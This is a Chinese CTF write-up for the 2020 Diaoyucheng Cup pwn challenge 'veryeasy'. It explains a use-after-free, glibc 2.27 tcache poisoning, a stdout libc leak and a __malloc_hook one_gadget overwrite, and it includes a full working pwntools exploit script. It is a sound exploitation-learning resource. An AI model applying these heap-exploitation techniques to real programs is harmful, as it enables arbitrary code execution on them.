1. 程式人生 > 實用技巧 >2020首屆釣魚城杯

2020首屆釣魚城杯

veryeasy

這題保護全開,不太好利用。

漏洞

在free後沒用清空指標,存在UAF。

這裡需要注意的是存在對free次數的檢查,但是if語句中是無符號數的比較。通過Add 9個以上的chunk使DAT_00302010的值為-1繞過檢查。

利用過程

glibc版本是2.27,tcache的存在使得堆利用變得非常容易。

先free 8個chunk,多餘的一個chunk便會被放入unsortbin中。程式碼如下:

    Add(0, 0x80, 'A'*0x10, p)
    Add(1, 0x80, 'A'*0x10, p)
    Add(2, 0x80, 'A'*0x10, p)
    Add(3, 0x80, '
A'*0x10, p) Add(4, 0x80, 'A'*0x10, p) Add(5, 0x80, 'A'*0x10, p) Add(6, 0x80, 'A'*0x10, p) Add(7, 0x80, 'A'*0x10, p) Add(8, 0x80, 'A'*0x10, p) Add(9, 0x80, 'A'*0x10, p) Delete(0, p) Delete(1, p) Delete(2, p) Delete(3, p) Delete(4, p) Delete(5, p) Delete(0, p) Delete(0, p)

結果如下:

因為stdout的地址和unsortbin的地址有5位不同,不能直接利用部分寫來爆破。仔細觀察可以發現stdinmain_arena上方不遠處,在stdin中有跟stdout的地址只有4位不同的資料,如下

利用部分寫可以把該值加入tcache中,接著malloc兩個chunk就可以把這個值放在tcache連結串列的頭部,程式碼如下

    Edit(0, '\x88\xfa', p)
    Add(10, 0x80, 'A'*0x10, p)
    Add(11, 0x80, 'A'*0x10, p)

結果如下

接著free一個chunk,利用部分寫改寫這個值為stdout的地址,程式碼如下

結果如下

之後把stdout malloc出來改寫一下就可以leak資訊。獲得libc基址後就可以算出__malloc_hook的地址。不過這題不能直接向__malloc_hook中寫入one_gadget,得利用realloc函式做中專來滿足one_gadget的條件。

完整程式碼如下:

#!/usr/bin/python
#-*-coding:utf8-*-
from pwn import *
libc = ELF('./libc-2.27.so')
context.terminal = ['tmux', 'splitw', '-h', '-p', '60']
#context.log_level = 'debug'

def Add(index, size, content, p):
    p.sendlineafter('Your choice :', '1')
    p.sendlineafter('id:', str(index))
    p.sendlineafter('size:', str(size))
    p.sendafter('content:', content)

def Edit(index, content, p):
    p.sendlineafter('Your choice :', '2')
    p.sendlineafter('id:', str(index))
    p.sendafter('content:', content)

def Delete(index, p):
    p.sendlineafter('Your choice :', '3')
    p.sendlineafter('id:', str(index))

def pwn():
    p = process('./pwn')
    Add(0, 0x80, 'A'*0x10, p)
    Add(1, 0x80, 'A'*0x10, p)
    Add(2, 0x80, 'A'*0x10, p)
    Add(3, 0x80, 'A'*0x10, p)
    Add(4, 0x80, 'A'*0x10, p)
    Add(5, 0x80, 'A'*0x10, p)
    Add(6, 0x80, 'A'*0x10, p)
    Add(7, 0x80, 'A'*0x10, p)
    Add(8, 0x80, 'A'*0x10, p)
    Add(9, 0x80, 'A'*0x10, p)
    Delete(0, p)
    Delete(1, p)
    Delete(2, p)
    Delete(3, p)
    Delete(4, p)
    Delete(5, p)
    Delete(0, p)
    Delete(0, p)

    Edit(0, '\x88\xfa', p)
    Add(10, 0x80, 'A'*0x10, p)
    Add(11, 0x80, 'A'*0x10, p)

    Delete(2, p)


    # 改寫fd指標,使其指向stdout
    Edit(2, '\x60\x07', p)
    Add(12, 0x80, 'A'*0x10, p)

    try:
        Add(13, 0x80, p64(0xfbad1800) + p64(0)*3 + '\x00', p)
        libc_base = u64(p.recvuntil('\x7f')[-6:] + '\x00\x00') - 0x3ed8b0
        info("libc_base ==> " + hex(libc_base))
        libc.address = libc_base
    except:
        p.close()
        return 0
    if (libc_base >> 40) != 0x7f:
        return 0

    malloc_hook = libc.symbols['__malloc_hook']
    info("malloc_hook ==> " + hex(malloc_hook))
    realloc = libc.symbols['__libc_realloc']
    malloc = libc.symbols['__libc_malloc']
    a = [0x4f365, 0x4f3c2, 0x10a45c]
    one_gadget = libc_base + a[2]

    Delete(0, p)
    Edit(0, p64(malloc_hook-0x8), p)
    Add(14, 0x80, 'A'*0x10, p)
    Add(15, 0x80,p64(one_gadget) + p64(realloc+0x6), p)
    p.sendlineafter('Your choice :', '1')
    p.sendlineafter('id:', '16')
    p.sendlineafter('size:', str(0x80))
    p.interactive()
    p.close()
    return 1

if __name__ == '__main__':
    while True:
        a = pwn()
        if a:
            break

踩坑記錄:

這題在把chunk放進unsortbin後我的第一感覺是部分寫leak資訊,之後除錯發現不行,就習慣性的在main_arena下面找滿足條件的值,沒想到往上面找,結果浪費了很多時間。知道stdin在main_arena附近也算是一點小收穫吧。

在glibc2.23中unsortbin的地址只有4位跟stdout不同,可以直接部分寫。